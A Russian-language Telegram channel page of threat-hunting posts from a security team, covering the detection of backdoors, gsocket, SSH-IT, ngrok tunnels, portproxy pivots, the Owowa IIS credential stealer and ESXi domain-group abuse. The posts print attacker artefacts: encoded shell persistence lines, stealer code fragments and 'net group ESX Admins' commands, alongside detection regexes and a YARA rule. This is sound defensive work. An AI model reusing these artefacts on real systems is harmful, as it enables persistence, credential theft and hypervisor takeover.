ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
Проксирование WebSocket nginx — обнаружение полезной нагрузки 👀

Проверка конфигураций различных служб иногда помогает найти неизвестное вредоносное ПО, которое не распознается антивирусами и другими защитными средствами.

❗️ Например, в одном случае мы нашли следы присутствия злоумышленников в системе, изучив конфигурацию веб-сервера nginx.

В конфигурационном файле /etc/nginx/webserver/server.conf.d/payload.conf целевого сервера нас насторожили определенные строки.


location /ws/b3a4d3a2 {
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
access_log off;
log_not_found off;
proxy_pass http://unix:/var/run/shm/evil.sock;
}


В этих строках используется механизм переподключения протоколов. Начиная с версии 1.3.13 в nginx реализован режим работы, позволяющий организовать туннель между клиентом и проксируемым сервером, — WebSocket proxying.

Проксирование WebSocket активируется при получении в запросе от клиента заголовка Upgrade.

Особенностью работы этого режима является наличие следующих строк в конфигурационном файле:


proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://unix:/var/run/shm/evil.sock;


Строки proxy_set_header служат для явной передачи веб-сервером nginx заголовка Upgrade проксируемому серверу. Их наличие в файле конфигурации обусловлено тем, что этот заголовок относится к категории заголовков hop-by-hop, которые не пересылаются прокси-серверами.

Строка proxy_pass содержит путь к файлу сокета в целевой системе — /var/run/shm/evil.sock.

Для получения информации о процессе, использующем указанный сокет, мы воспользовались командой lsof:


lsof | grep /var/run/shm/evil.sock


И нашли процесс c PID 18653:


payload 18653 root 4u unix 0xffff74146a3b3743 0t0 25637138 /var/run/shm/evil.sock


Далее мы нашли исполняемый файл процесса:


lsof -p 18653 | grep cwd


Файл лежал в /usr/bin/, и он оказался бэкдором.

💡 Что мы теперь можем:

ловить WebSocket в трафике;
смотреть активности в системах рядом со временем деплоя бэкдора (дата создания бэкдора или модификации конфига nginx);
проверять другие веб-серверы в инфраструктуре на предмет «расширения функциональности» ваших сервисов.

#tip #detect #hunt #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Gsocket: как найти один из самых популярных инструментов 🙂

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты.

Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам.

🔦 Для обнаружения признаков установки инструмента можно искать следующее:

1️⃣ Сервис с именем D-Bus System Connection Bus:


systemctl | grep "D\-Bus System Connection Bus"


Пример:
EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection Bus


2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну:

'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel'


egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /


👀 Пример (service-файл):


Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.target


👀 Пример (.bashrc):


# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac
....


📌 Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста.

📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#DFIR #detect #hacktool #tips #linux
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Как пройти в интернет 🚶‍♂️

Что делают хакеры, когда интересующий их сегмент сети не имеет доступа в интернет, а подключиться к C2 очень хочется? Правильно: ищут хосты, которые смотрят в разные подсети, и пытаются пробросить каналы управления через них. Если атакуемая инфраструктура сильно сегментирована, такой канал может проходить через много узлов и принимать причудливые формы.

В одном из недавних кейсов хакеры использовали два метода для проброса канала, условно назовем их «простой» и «сложный».

🤯 Начнем со «сложного»

Злоумышленники обнаружили хост, через который был возможен доступ из одной подсети в другую. Но был нюанс: попасть на этот хост можно было только через RDP (remote desktop — удаленный рабочий стол).

Хакеры нашли решение. На прослушивание порта 3389 они повесили своеобразный сплиттер трафика: настоящий трафик RDP перенаправлялся на порт 33389, а весь остальной трафик на порт 3389 проксировался дальше внутрь соседней подсети. Принадлежность пакета к RDP определялась по первым трем байтам — они должны быть равны 03 00 00.

Настоящую службу RDP хакеры перевесили со стандартного порта 3389 на порт 33389. Таким образом, злоумышленники получили возможность передавать трафик между сегментами, при этом подключающиеся по RDP пользователи не видели никакой разницы.

Присутствие такой утилиты на хосте выдают (помимо, собственно, наличия исполняемого файла на файловой системе) следующие признаки:

1️⃣ Изменение порта RDP на нестандартный (проверить порт можно в свойствах системы или с помощью команды Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -name "PortNumber").

2️⃣ Какой-то «левый» процесс слушает порт 3389.

3️⃣ Подключения пользователей по RDP в такой схеме отображаются как исходящие от localhost. На практике мы видели только IP-адрес 127.0.0.1, но не стоит забывать о том, что вообще-то таких адресов целая подсеть, а еще есть варианты вроде ::1 или даже ::%16777216.

Но имейте в виду, что поменять порт RDP мог админ, а подключения с локалхоста могут говорить и о других вещах, например о наличии туннелей 🙂

💆‍♂️ В чем тогда заключался «простой» способ?

В этом варианте злоумышленники для проксирования трафика использовали функциональность Windows под названием Port Proxy.

В самом простом варианте этот инструмент позволяет создать простой маппинг «откуда пришел пакет — куда его отправить». Проще всего показать это на примере:


netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp


После выполнения этой команды хост начинает слушать порт 7000, а входящие TCP-соединения перенаправляет на example.com:443. Более подробно про эти функции можно почитать в документации Microsoft.

Этот метод хорош тем, что не нужно использовать стороннее ПО. Основное ограничение метода заключается в том, что маппинг статичен, то есть позволяет организовать только жестко заданное перенаправление пакетов.

🕵️‍♀️ Как обнаружить использование такого способа

1️⃣ Детектировать запуск команды netsh interface portproxy add (например, в событиях Sysmon 1 или Security 4688).

Детект в MaxPatrol SIEM: Execute_Malicious_Command

2️⃣ По наличию в реестре ключей в ветке [HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\].

Детект в MaxPatrol SIEM: Port_Forwarding_or_Tunneling

3️⃣ По появлению подозрительных слушающих портов или сетевых подключений у службы IpHelper (процесс C:\Windows\System32\svchost.exe -k NetSvcs -p -s iphlpsvc).

👉 Кстати, в том кейсе злоумышленники умудрились с помощью portproxy построить цепочку длиной в четыре хопа, причем на каждом этапе в проксируемый порт также перенаправлялся трафик от «закладок» на хостах внутри сегмента. Получилось целое «дерево», «корни» которого уходили на сервер C2 в интернете.

Happy hunting!

#Hunt #C2 #Detect #DFIR #SIEM
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Gapucino* — это GOFFEE ☕️

Сегодня мы расскажем про одну из самых активных на данный момент кампаний на территории России. Другие исследователи называют ее GOFFEE.

В качестве исходного вектора злоумышленники используют фишинговые письма с документами, которые содержат вредоносный макрос. Пример такого документа мы разобрали в посте !!р^д**н**c 🤔

Аналогичные документы можно обнаружить по паттерну:


content:"DigitalRSASignature"


Кроме того, эксперты из Cisco Talos буквально на днях описали аналогичную цепочку атак на российские компании.

После проникновения в инфраструктуру атакующие используют Mythic-агент QwakMyAgent, написанный на языке PowerShell, о котором рассказали специалисты F.A.C.C.T.

Одним из самых интересных инструментов, который применяется атакующими в ходе этой кампании, является IIS-модуль Owowa (о нем — в следующем посте).

* Gapucino.com — один из C2 злоумышленников.

#dfir #detect #C2 #TI
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
⚠️ OWOWAсный модуль, или IIS кOWOWAрен

Про вредоносный IIS-модуль Owowa, предназначенный для перехвата учетных записей пользователей, исследователи рассказывали еще в 2021 году.

А в 2022 году мы рассказывали про его эволюцию на OFFZONE. Как показывает практика, используя этот IIS-модуль, атакующие за достаточно короткий временной промежуток могут скомпрометировать большое количество учетных записей и получить пароли пользователей в открытом виде.

Модуль устанавливается в системе командой appcmd.exe install module. Во всех проанализированных нами образцах базовый класс, который реализует интерфейс IHttpModule, называется ExtenderControlDesigner. После запуска модуль методом PreSendRequestContent перехватывает входящие запросы.


public class ExtenderControlDesigner : IHttpModule
{
public void Init(HttpApplication context)
{
context.PreSendRequestContent += this.PreSend_RequestContent;
}
private void PreSend_RequestContent(object sender, EventArgs e)
{...


Злоумышленники продолжают использовать этот достаточно простой IIS-модуль в своих самых громких атаках на российские компании и в 2024 году. Так, расследуя один из инцидентов ИБ, команда PT ESC обнаружила модификацию стилера Owowa. В обновленной версии атакующие отказались от записи скомпрометированных учетных данных в журнал в файловой системе. Вместо этого они хранятся в HashSet в оперативной памяти.

Пример учетных данных, которые записываются в HashSet:


ExtenderControlDesigner.Data item = new ExtenderControlDesigner.Data
{
Id = text,
UserName = userName,
Password = pass,
UserHostAddress = userHostAddress,
XForwardedFor = xForwardedFor,
DateTimeUtc = dateTimeUtc
};
bool flag2 = !ExtenderControlDesigner.hashSetData.Contains(item);
if (flag2)
{
ExtenderControlDesigner.hashSetData.Add(item);
}


Данные, как и раньше, защищены алгоритмом RSA-2048, а публичный ключ захардкожен в модуле. Для получения информации о количестве уникальных записей можно произвести поиск сигнатуры 42 5A 68 00, она является разделителем учетных записей.


memoryStream.Write(new byte[]
{
66,
90,
104,
0
}, 0, 4);


Так как публичный ключ модуля, использовавшегося в атаках на компании в России, всегда идентичен и не менялся с 2022 года, мы можем предположить, что за всеми атаками с его применением стоит одна группа злоумышленников.

Зашифрованный список учетных записей злоумышленники получают отправив корректный GET-запрос с заголовком username: ZaDS0tojX0VDh82.

Пример GET-запроса в журналах IIS-сервера:


2024-07-29 14:32:21 127.0.0.1 GET /owa/ 443 ZaDS0tojX0VDh82 127.0.0.2 Mozilla/5.0+(X11;+Linux+x86_64;+rv:109.0)+Gecko/20100101+Firefox/115.0 - 401 1 1527 14


Помимо перехвата полей username, password в новой версии были добавлены перехваты LOGON_USER, AUTH_PASSWORD.

В последней версии злоумышленники отказались от функции RunCommand, которая выполняла команды на скомпрометированном узле через powershell.exe.

IoCs:


Name MD5
ClassLibrary2.dll af6507e03e032294822e4157134c9909
ClassLibrary3.dll 2d240b6ceeaacd2e3dd52c9e7d3fb622
ClassLibrary3.dll 5cc433a2550bb7389f6c90521e7afa25
ExtenderControlDesigner.dll 967e7b6b048d628f36bbb4ca7b0f483f
ClassLibrary3.dll e657eea3b9b7317e28ab4a89c1fa2177
ClassLibrary3.dll 6e6218aac341463496cca32f52b29013
ClassLibrary3.dll 4d66a3bbaf65a2ec36fd2d143c872ef6


YARA:


rule Owowa {
strings:
$s1 = "IHttpModule"
$s2 = "PreSend_RequestContent"
$s3 = "ExtenderControlDesigner"
$u1 = "283c00ecp774ag36boljbpp6" wide
$u2 = "dEUM3jZXaDiob8BrqSy2PQO1" wide
$u3 = "Fb8v91c6tHiKsWzrulCeqO" wide
$u4 = "jFuLIXpzRdateYHoVwMlfc" wide
$u5 = "oACgTsBMliysfk" wide
$u6 = "uW4sSY1CAkN6kI6r6ByXUWnK" wide
$u7 = "ZaDS0tojX0VDh82" wide
$u8 = "zwa879pOX1NAmTom8m3aQvoZ" wide
condition:
uint16be ( 0 ) == 0x4d5a and ( 2 of ( $s* ) ) and ( 2 of ( $u* ) ) and filesize < 20KB
}


Happy hunting!

#hunt #IOC #yara #dfir #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
SSH-IT. Инструкция по обнаружению популярного инструмента 🔭

В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы иногда обнаруживаем на них различные хакерские инструменты.

Сегодня поговорим об SSH-IT. Хакеры часто используют его для перехвата SSH-сессий и получения вводимых пользователем команд.

Для обнаружения признаков установки инструмента на узлах ищите:

1. Файлы по паттерну: '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'


🧐 Пример:


/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh


2. Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по паттерну: '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /


👀 Пример (файл /home/john/.profile):


"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"


📃 Рекомендации по дальнейшим действиям:

1️⃣ Заблокировать адреса управляющих серверов;

2️⃣ Удалить файлы, относящиеся к SSH-IT, а также изменить файлы, через которые SSH-IT закрепился в системе;

3️⃣ Перезагрузить скомпрометированный хост;

4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу).

#tip #detect #hacktool #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Ngrok. Находим и разбираемся 🔍

В процессе расследования множества инцидентов мы неоднократно встречаем такой инструмент, как ngrok. Это удобный легитимный инструмент для прокидывания сетевых туннелей для администраторов.

Он стал очень популярен у злоумышленников, которые, как правило, устанавливают RDP-соединения, и мы настоятельно рекомендуем поискать ngrok у себя в инфраструктуре.

Несколько рекомендаций по поиску признаков использования ngrok на узлах:

1️⃣ Наличие файла с именем ngrok.yml или директорий ngrok, .ngrok2, которые, как правило, имеют следующие файловые пути:


C:\Users\<username>\.ngrok2\ngrok.yml
C:\Windows\ServiceProfiles\NetworkService\AppData\Local\ngrok\ngrok.yml
C:\Windows\SysWOW64\config\systemprofile\.ngrok2\ngrok.yml


2️⃣ Наличие файла *.yml, в котором встречаются строки по следующим паттернам:


'version\: \"[0-9]+\"'
'authtoken\: [a-z0-9_]{49}'


Пример (ngrok.yml):

version: "2"
authtoken: 5U87lkcqEFeZ0sJ7Hg66aXkkrO4_K9EpjQHkJMkTg0R96pu64


3️⃣ Наличие строки ::%16777216 в качестве адреса сети источника в журналах сетевых подключений:


C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
C:\Windows\System32\winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx


4️⃣ Наличие файла планировщика заданий Windows, через который осуществляется закрепление на узле и в котором могут встречаться строки по следующим паттернам:

'<Arguments>tcp [0-9]+</Arguments>'
'<Arguments>tcp [^ ]+\:[0-9]+ \-\-authtoken [a-z0-9_]{49}</Arguments>'


Пример 1 (C:\Windows\System32\Tasks\Microsoft\Windows\Microsoft\Monitor):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\Microsoft\1.exe</Command>
<Arguments>tcp 3389</Arguments>
</Exec>
</Actions>
</Task>


Пример 2 (C:\Windows\System32\Tasks\updater):

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
...
<Actions Context="Author">
<Exec>
<Command>C:\ProgramData\1.exe</Command>
<Arguments>tcp poc.opi.rtyo.ru:22 --authtoken qr7pKMAgTp5nfT0HTwh21sb9VsF_FwX3xkNuQqJE7MBh0gUj8</Arguments>
<WorkingDirectory>C:\ProgramData</WorkingDirectory>
</Exec>
</Actions>
</Task>


📌 Чтобы обнаружить признаки наличия инструмента на периметре, можно поискать узлы, взаимодействующие со следующими серверами:


ngrok.com
ngrok-agent.com
ngrok.io
*.equinox.io


#tip #detect #hacktool #dfir
@ptescalator
Mount Point — pt.1 🙂

Любое расследование — это анализ артефактов операционной системы. А чтобы их получить, зачастую приходится работать с образами виртуальных машин, типа VMDK, VDI, qcow и других.

В большинстве случаев монтирование, а потом и исследование подобных данных не представляет сложностей. Но если образ по каким-то причинам не обрабатывается популярными утилитами (FTK Imager, Arsenal Image Mounter), имеет особенности конфигурации или если вам необходимо провести какие-либо специфические процедуры, монтирование образа в виртуальную среду может оказаться непростым.

В этом и нескольких будущих постах мы дадим небольшие гайды по разрешению типовых ситуаций. Stay connected!

Case 1. Монтирование отдельных разделов из образа (все действия легко осуществимы в любом стандартном дистрибутиве ОС Linux и подсистеме WSL, если каких-то пакетов на системе нет, они без проблем устанавливаются стандартными средствами).

🐾 Шаг 1. Преобразуем имеющийся образ в формат RAW. Это наиболее универсальный формат, не содержащий никаких дополнительных данных, не имеющий сжатий и максимально поддерживаемый любыми утилитами. Образ может представлять собой один файл или несколько (например, если разные каталоги Linux разнесены на несколько виртуальных дисков). Рекомендуем использовать утилиту qemu-img:

qemu-img convert -f #Исходный формат -O #Целевой формат #Файл-источник #Файл-получатель


Это наиболее универсальный способ, поддерживающий большинство форматов виртуальных дисков (VMDK, VDI, qcow и другие), а также позволяющий собрать образ из нескольких файлов. Кроме того, можно использовать вендорские утилиты, входящие в стандартные дистрибутивы, например:

VirtualBox: VBoxManage.exe internalcommands converttoraw

VMware: vmware-vdiskmanager -r ./source-image.vmdk -t 2 ./destination-image.raw


🐾 Шаг 2. Изучаем параметры полученного образа:

fdisk -l ./#путь к файлу


И видим подобную запись:

Sector size (logical/physical): 512 bytes / 512 bytes

./vm-disk-0.raw1 : start= 2048, size= 207618048, type=83
./vm-disk-0.raw2 : start= 207620096, size= 2095104, type=82


По идентификатору раздела (их можно посмотреть здесь) определяем нужный (в примере — Type 83 Linux Partition) и считаем параметры смещения и размер диска:

512 (размер сектора) × 2048 (номер первого сектора) = 1 048 576 (смещение в байтах)

512 (размер сектора) × 207 618 048 (количество секторов) = 106 300 440 576 (размер раздела в байтах)

🐾 Шаг 3. Монтируем:

mount -o ro,loop,offset=1048576,sizelimit=106300440576 source /mountpoint


💡 Полезные заметки:

1. Для команды mount используйте опцию ro (read-only), чтобы случайно ничего не изменить в исследуемом образе.

2. При работе с образами Windows используйте опцию show_sys_files для отображения скрытых системных файлов ($MFT, $LogFile, $J и т. п.) и streams_interface=windows — для поддержки работы с альтернативными потоками.

Все! В каталоге точки монтирования видим содержимое интересующего нас раздела.

В следующем посте рассмотрим монтирование LVM-дисков и поделимся полезным скриптом. Stay tuned!

#tip #dfir
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
😏 Нельзя просто так взять и выгрузить информацию из мобильного телефона

Мобильный телефон — это переносной компьютер, однако в большинстве случаев извлечь данные, необходимые для проведения расследования, посредством простого подключения телефона к компьютеру не получится. Это связано с тем, что производители мобильных устройств принимают меры для ограничения доступа к важным артефактам.

🔓 Мы сделали небольшой обзор необходимых инструментов для извлечения информации из мобильных устройств:

Elcomsoft iOS Forensic Toolkit очень качественно извлекает данные из различных устройств компании Apple (iPhone, iPad, iPod Touch, Apple TV, Apple Watch и HomePod).

Passware Kit Mobile позволяет перебирать пароли, извлекать данные из заблокированных, зашифрованных iOS-, Android-устройств.

РС-3000 Mobile PRO извлекает информацию из зашифрованных, поврежденных мобильных устройств, перебирает пароли, восстанавливает поврежденные файловые системы.

«Мобильный криминалист Эксперт+» — универсальный инструмент для извлечения данных из iOS-, Android-устройств, облачных сервисов.

GrayKey позволяет извлекать данные из зашифрованных, запароленных iOS-, Android-устройств последних моделей.

UFED — хороший универсальный инструмент для извлечения данных как из смартфонов, так и из кнопочных телефонов.

MOBILedit, MD-NEXT, XRY, SmartPhone Forensic System Professional, iPhone and Android Phone Forensics System — универсальные, достаточно интересные продукты со своими уникальными возможностями.

🔓 Кроме того, для извлечения информации из мобильных телефонов используют ПО от производителя устройства, предназначенное для создания резервных копий:

iTunes
Samsung Kies
Huawei HiSuite
Mi PC Suite

И от сторонних разработчиков: например, для устройств Apple — iMazing.

🔓 Из open-source-проектов можно выделить:

Mobile Verification Toolkit — для извлечения из устройств под управлением Android и iOS;

iOS Device Data Extractor, Libimobiledevice, Universal Forensic Apple Device Extractor — для извлечения из устройств компании Apple.

Kanade — для извлечения APK-файлов приложений на базе Android.

Andriller CE (Community Edition), Android Triage — для извлечения из устройств под управлением Android.

🆓 Компания Magnet по запросу бесплатно предоставляет ПО Magnet Acquire для извлечения данных из устройств на базе iOS и Android.

Для использования всех возможностей перечисленного ПО необходимо подключить исследуемый телефон к компьютеру. Для этого пригодятся интерфейсные кабели:

общего назначения (Type-C, Lightning, Micro USB, OTG-кабели с различными разъемами);

специализированные (для включения различных режимов): например, для мобильных телефонов Huawei используется кабель Harmony TP для перевода устройства в режим последовательного порта (COM port).

📱 Для работы с поврежденными устройствами или для перевода в специальный режим (когда нужно отклеить экран или заднюю крышку и замкнуть test point на плате) пригодятся:

паяльный фен (сепаратор для дисплеев);
паяльная станция;
программатор (например, Z3X EASY JTAG Plus).

При выборе инструментов для извлечения информации всегда необходимо отталкиваться от того, какие конкретно задачи стоят перед исследователем, какие для решения этих задач необходимо получить артефакты, и с учетом этого выбирать инструментарий для извлечения данных.

💡 Лайфхак: компании часто предоставляют возможность по запросу получить демолицензию ПО, чтобы протестировать его. Это позволяет до покупки ознакомиться с функциональностью ПО и понять, стоит ли его приобретать.

#dfir #mobile #android #ios
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Mount point. Pt 2

Привет! Мы снова решили поговорить про монтирование дисков. Сегодня расскажем, как работать с контейнерами LVM. Держите короткий мануал, чтобы не гуглить и не тратить время срочного расследования.

1️⃣ Шаг 1. Смотрим информацию об имеющемся бинарном образе:

fdisk -l ./source.raw


(Как получить бинарный образ из VMDK, VDI, VHD и других форматов, писали тут).

Видим:

Device     Boot   Start   End   Blocks    Id System
disk.img1 * 1 13 104391 83 Linux
disk.img2 14 2491 19904535 8e Linux LVM


Здесь нас интересует раздел 8e — Linux LVM.

2️⃣ Шаг 2. Монтируем исходный образ на виртуальный интерфейс loop:

sudo losetup -f -P source.raw


В результате должно появиться виртуальное устройство loop-device. Смотрим его параметры:

sudo lsblk -f
loop20
├─loop20p1
├─loop20p2 ext4 1.0 f32150ec-1a4e-4871-9c1b-43219f525536
└─loop20p3 LVM2_member LVM2 001 iiB6Sv-7IZv-k329-ednM-h4Nr-tZQk-NJrMoE


(*индекс устройств может отличаться в зависимости от конфигурации оборудования)

3️⃣ Шаг 3. Сканируем полученное устройство на наличие LVM-разделов:

sudo pvscan --cache


Видим:

pvscan[3874] PV /dev/loop20p3 online.


После этого выполняем команду:

sudo vgs (для просмотра дисковых групп — volume groups):

ubuntu-vg   1   1   0 wz--n- 18.22g    0


и sudo lvs (для просмотра логических разделов — logical volumes):

ubuntu-lv ubuntu-vg -wi-a----- 18.22g


4️⃣ Шаг 4. Активируем LVM-раздел:

sudo vgchange -ay


1 logical volume(s) in volume group "ubuntu-vg" now active


5️⃣ Шаг 5. Затем монтируем с помощью известной команды mount (помним про ключ -ro, чтобы не вносить изменений):

sudo mkdir /mnt/lvm-disk
sudo mount -ro /dev/mapper/ubuntu--vg-ubuntu--lv /mnt/lvm-disk


В итоге получаем смонтированный раздел в указанной папке и выполняем дальнейшие действия.

Для размонтирования LVM используем обратную последовательность команд:

sudo umount /mnt/backup-restore (размонтируем раздел)
sudo lvchange -an /dev/mapper/ubuntu--vg-ubuntu--lv (деактивируем LVM)
sudo losetup -d /dev/loop20 (отключаем устройство)
sudo pvscan --cache (сканируем дисковую систему для обновления состояния)


Еще один пост в копилку полезных мануалов. Продолжение следует!

#tip #dfir
@ptescalator
Не выбрасывай старый айфон, пока не прочитаешь этот пост (и после тоже) 🚮

Недавно нашему эксперту Виталию, который занимается расследованиями инцидентов с мобильными устройствами, на анализ попал iPhone 5s, на экране которого отображался знакомый многим текст: «iPhone отключен. Подключитесь к iTunes». Это означало, что после 10 неверных попыток ввода пароля устройство заблокировалось. Казалось бы, все данные утеряны, но у Виталия была идея, как их можно извлечь 💡

🔑 Используем checkm8

Для доступа к данным он решил воспользоваться аппаратной уязвимостью iPhone, которая присутствует в процессорах A5–A11. Эксплойт checkm8 позволяет загрузить мобильное устройство в режиме BFU (before first unlock) и извлечь оттуда данные.

💰 Какие данные удалось извлечь

С помощью Elcomsoft iOS Forensic Toolkit и UFED 4PC извлек данные из связки ключей (keychain) и файловой системы устройства.

При анализе эксперт обнаружил:

Артефакты устройства: модель, версию iOS, серийный номер, IMEI.

Данные пользователя: номер телефона, информацию о сим-картах, учетных записях, избранных и заблокированных контактах и др.

Параметры сетевых соединений: список ранее подключенных Wi-Fi-сетей, Bluetooth-устройств, их MAC-адреса.

Артефакты приложений: данные из незашифрованных баз данных и кэша некоторых приложений.

🎆 Итог

Этот эксперимент показал, что даже заблокированные iPhone хранят ценную информацию, которую можно извлечь при наличии нужных инструментов и знаний. Это еще раз подтверждает важность надежного шифрования и своевременного удаления конфиденциальных данных перед продажей устройства.

С полным текстом проведенного исследования можете ознакомиться в статье на SecurityLab.

#dfir #mobile #ios
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Net group "babyk" /add

В рамках расследования одного из инцидентов мы обнаружили факт эксплуатации уязвимости CVE-2024-37085. Она позволяет злоумышленнику получить полный контроль над гипервизором VMware ESXi, присоединенным к домену 😠

Уязвимость заключается в том, что пользователи, входящие в группу с именем ESX Admins, по умолчанию имеют максимальные права доступа к гипервизору. Эта группа не существует в домене по умолчанию, поэтому злоумышленнику необходимо завладеть учетной записью, имеющей права на создание группы и добавление в нее пользователей.

✏️ Уязвимость CVE-2024-37085 описана компанией Microsoft в июле 2024 года.

В статье упоминается эксплуатация этого недостатка операторами шифровальщиков Akira и Black Basta. В публичных отчетах информации об использовании уязвимости в атаках на российские организации нет.

👤 В рассматриваемом нами случае злоумышленникам удалось получить доступ к контроллеру домена и завладеть учетной записью с необходимыми правами. После они создали группу ESX Admins и добавили в нее пользователя, выполнив следующие команды:

net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do


От имени этого пользователя впоследствии нарушители вошли на гипервизор и зашифровали файлы и диски виртуальных машин с применением Babyk.

В обнаружении эксплуатации CVE-2024-37085 могут помочь события журнала Security:

• 4727 — создание группы безопасности Active Directory с именем ESX Admins;
• 4737 — изменение группы безопасности Active Directory (переименование группы в ESX Admins);
• 4728 — добавление пользователя в группу безопасности Active Directory с именем ESX Admins.

Для исправления описанной уязвимости рекомендуется установить последние обновления безопасности для VMware ESXi.

#dfir #cve #detect #win
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
1C_shell для «1С» 🦞

Иногда случаются ситуации, когда в ходе расследования инцидента информационной безопасности традиционно используемые артефакты ОС содержат крайне скудную информацию, а делать что-то все-таки надо...

